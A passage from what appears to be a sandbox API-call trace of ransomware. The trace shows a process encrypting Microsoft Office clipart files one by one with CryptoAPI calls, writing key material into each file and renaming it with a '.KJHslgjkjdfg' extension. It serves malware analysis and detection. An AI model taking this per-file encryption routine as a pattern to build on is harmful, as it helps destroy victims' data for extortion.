ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0187.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.810] GetProcessHeap () returned 0x990000 [0187.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.811] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.811] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0187.813] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.813] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.813] GetProcessHeap () returned 0x990000 [0187.813] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.813] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.813] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.813] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.814] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.814] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa82, lpOverlapped=0x0) returned 1 [0187.814] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90, dwBufLen=0xa90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90) returned 1 [0187.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa90, lpOverlapped=0x0) returned 1 [0187.815] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.815] SetEndOfFile (hFile=0x130) returned 1 [0187.816] GetProcessHeap () returned 0x990000 [0187.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.816] GetProcessHeap () returned 0x990000 [0187.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.kjhslgjkjdfg")) returned 1 [0187.817] CloseHandle (hObject=0x130) returned 1 [0187.817] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0187.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.817] GetProcessHeap () returned 0x990000 [0187.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.817] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.818] GetProcessHeap () returned 0x990000 [0187.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.818] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.820] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.820] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.820] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb10, lpOverlapped=0x0) returned 1 [0187.820] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb10, dwBufLen=0xb10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb10) returned 1 [0187.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.821] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb10, lpOverlapped=0x0) returned 1 [0187.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.821] SetEndOfFile (hFile=0x130) returned 1 [0187.823] GetProcessHeap () returned 0x990000 [0187.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.824] GetProcessHeap () returned 0x990000 [0187.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.kjhslgjkjdfg")) returned 1 [0187.824] CloseHandle (hObject=0x130) returned 1 [0187.824] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0187.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.825] GetProcessHeap () returned 0x990000 [0187.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.825] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.825] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.827] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.827] GetProcessHeap () returned 0x990000 [0187.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.828] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.828] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.828] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.828] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9456, lpOverlapped=0x0) returned 1 [0187.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9460, dwBufLen=0x9460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9460) returned 1 [0187.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.830] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9460, lpOverlapped=0x0) returned 1 [0187.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.830] SetEndOfFile (hFile=0x130) returned 1 [0187.831] GetProcessHeap () returned 0x990000 [0187.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.831] GetProcessHeap () returned 0x990000 [0187.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.kjhslgjkjdfg")) returned 1 [0187.832] CloseHandle (hObject=0x130) returned 1 [0187.832] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0187.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.832] GetProcessHeap () returned 0x990000 [0187.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.832] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.832] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0187.834] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.834] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.834] GetProcessHeap () returned 0x990000 [0187.834] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.834] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.834] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.835] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.835] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.835] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.835] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.835] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.835] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9c5e, lpOverlapped=0x0) returned 1 [0187.836] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c60) returned 1 [0187.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.837] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c60, lpOverlapped=0x0) returned 1 [0187.837] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.837] SetEndOfFile (hFile=0x130) returned 1 [0187.839] GetProcessHeap () returned 0x990000 [0187.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.839] GetProcessHeap () returned 0x990000 [0187.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.kjhslgjkjdfg")) returned 1 [0187.840] CloseHandle (hObject=0x130) returned 1 [0187.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0187.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.841] GetProcessHeap () returned 0x990000 [0187.841] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.841] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.843] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.843] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.843] GetProcessHeap () returned 0x990000 [0187.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.843] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, 